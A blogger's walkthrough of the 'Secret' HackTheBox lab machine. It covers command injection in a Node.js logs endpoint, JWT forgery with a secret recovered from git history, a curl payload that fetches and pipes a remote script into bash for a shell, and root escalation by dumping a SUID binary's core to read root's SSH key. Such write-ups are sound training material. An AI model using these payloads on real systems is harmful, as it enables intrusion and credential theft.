Secret — Hackthebox Walkthrough
This was far most on of the coolest easy boxes I encountered in Hackthebox. This had a really nice and unique attack path which I loved.
Just like always, I started with nmap.
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjDFc+UtqNVYIrxJx+2Z9ZGi7LtoV6vkWkbALvRXmFzqStfJ3UM7TuOcZcPd82vk0gFVN2/wjA3LUlbUlr7oSlD15DdJkr/XjYrZLJnG4NCxcAnbB5CIRaWmrrdGy5pJ/KgKr4UEVGDK+oAgE7wbv++el2WeD1DF8gw+GIHhtjrK1s0nfyNGcmGOwx8crtHB4xLpopAxWDr2jzMFMdGcIzZMRVLbe+TsG/8O/GFgNXU1WqFYGe4xl+MCmomjh9mUspf1WP2SRZ7V0kndJJxtRBTw6V+NQ/7EJYJPMeugOtbputyZMH+jALhzxBs07JLbw8Bh9JX+ZJl/j6VcIDfFRXxB7ceSe/cp4UYWcLqN+AsoE7k+uMCV6vmXYPNC3g5xfMMrDfVmGmrPbop0oPZUB3kr8iz5CI/qM61WI07/MME1uyM352WZHAJmeBLPAOy05ZBY+DgpVElkr0vVa+3UyKsF1dC3Qm2jisx/qh3sGauv1R8oXGHvy0+oeMOlJN+k=
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http syn-ack Node.js (Express middleware)
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Right off the bat I saw the port 80 was. So looking at the site I saw it was some kind of a documentation. I saw that the source code was available.
So I downloaded the it and extracted it. And it was a node app. Looking at the source code of the files, I saw something interesting in the /local-web/routes/private.js file.
I noticed that this is passing direct input into exec(). So if I can make a request to the /api/logs/ endpoint, with the “file” as an parameter, I could do Command Injection. But there was a problem.
I saw that only the “theadmin” user can make requests to this endpoint. So I knew I had to somehow login as that user.
Keeping these on mind, I moved on to poke around the site. And I saw that it provides the exact steps I needed.
So I followed these steps and registered a new user. I used curl for this, but if you prefer you can user postman as well. But I am a nerd (😅), I like to stick with the Command line.
Just like the Docs said, I got a success message. Then I logged in with these credentials. And this gave me a JWT token.
So I tired decoding this to see what information I could find. And used jwt.io for that.
Looking at the results, I saw my “name” and the “email” is in the payload. Reminding my main goal, I knew I had to somehow make a valid JWT token for the “theadmin” user to do the Command Injection.
But for that I need the secret key to sign the signature I create. So I took a step back and went on this source code review again and I came across with /local-web/routes/verifytoken.js.
I saw that the TOKEN_SECRET is saved in a environment variable. And also, I saw that there was a file named .env in the /local-web directory. And it had the TOKEN_SECRET set to “secret”.
I was happy that I found the key. But when I created the JWT token with this, the token didn’t work. So I had to put my smile back in my pocket.
Finally, I realized that this was a Git repository and the .git directory was exposed.
So I though maybe I could get something interesting from a old commits. So I used GitTools which is an automated tool recover Git repositories.
/opt/GitTools/Extractor/extractor.sh . extracted
And I saw that this extract the .env file as well. And looked at the first commit there, I was the real JWT key in the .env file.
With this secret I created a new JWT token with pyjwt python module.
I filled the needed information with dummy values and changed to name to “theadmin”.
Then with this JWT token, I tried to make a request to the /api/logs directory to see if it’s possible. Again I referenced to the docs the site provided and added the token as a Header.
curl -H 'auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MTdlYzAwNDNjNmFhNjA0NTcyNzMyODgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFzZGFzQGFzZGFzZC5jb20iLCJpYXQiOjE2MzU2OTY2Njd9.83cTKXTwV09clPhC6qI6BkJyz4R_p5-xjcFJ3I2ui6E' 'http://secret.htb:3000/api/logs'
And it worked. Finally, I tried to do the Command Injection according to how I saw on the source code. I added the “file” parameter with a file that exists(.env) and then a
; and my command.
curl -H 'auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MTdlYzAwNDNjNmFhNjA0NTcyNzMyODgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFzZGFzQGFzZGFzZC5jb20iLCJpYXQiOjE2MzU2OTY2Njd9.83cTKXTwV09clPhC6qI6BkJyz4R_p5-xjcFJ3I2ui6E' 'http://secret.htb:3000/api/logs?file=.env;id'
And I got Command Injection as expected. Then I used my usual command to get a shell.
curl -H 'auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MTdlYzAwNDNjNmFhNjA0NTcyNzMyODgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFzZGFzQGFzZGFzZC5jb20iLCJpYXQiOjE2MzU2OTY2Njd9.83cTKXTwV09clPhC6qI6BkJyz4R_p5-xjcFJ3I2ui6E' 'http://secret.htb:3000/api/logs?file=.env;curl+10.10.14.104/k|bash'
One thing to note here is that I have replaced the space character with a
Before doing anything, I added my SSH public key to the authorized_keys files of the dasith user and sshed in.
I started off with linpeas. I found an unusual SUID binary in /opt/count. I also found the source code to the binary.
Before going through the code, I ran the binary to see what it does. It seemed to count the number of characters of a file we specify. So I tried specifying the /root/root.txt file to see if that works.
I was able to see that the root.txt is 33 characters long. Looking at the source code, I saw a comment in the main function saying “Enabling coredump generation”. This was a little wired.
I thought may be I can let the binary read a file’s content, let it make a Coredump and then read the content of the file from the it. But the Coredump file created (valgrind.log) didn’t contain the file’s content.
The next big thing I noticed was, in the filecount() function, when the file is opened to count the number of characters, it’s never closed.
So I thought may be if I could make the binary create a Coredump while it still runs, I would be able to see the file’s content. I googled around a little bit and found out that I can make a process crash and create a Coredump by sending it a signal
With this in mind, first, I ran the script the and specified /root/.ssh/id_rsa as the file. And then I pressed “y” to save the results. Then on a another SSH session, I got the PID of this process which was running this binary.
ps aux|grep count
Then I force-killed it using
-SIGBUS so that it would make a coredump.
kill -SIGBUS <PID>
Generally, what this does is it will send the “SIGBUS” signal to the process saying there is a BUS error so that the process can’t continue. (You can get the list of such signals with
kill -l )
Because of this, the core is dumped and a crash file is created at /var/crash.
But unlike I expected, I didn’t see the contents of the id_rsa file. So I had to do more research. Form here I found out that I have to unpack the crash file in order to get the Coredump.
Following the steps mentioned, I used
apport-unpack tool to unpack the crash file and looked to see if I have anything in the Coredump file generated.
apport-unpack _opt_count.1000.crash t
And there was the SSH private key. So I copied this to my box, and SSHed in as root. (Make sure to change the permissions of the private key file to 600 with
chmod 0600 id_rsa )
“If you have any questions, make sure to leave them down in the comments, or contact me through social media.”
Email — email@example.com
Instagram — https://www.instagram.com/_kavi.gihan/
Happy Hacking !!! 😄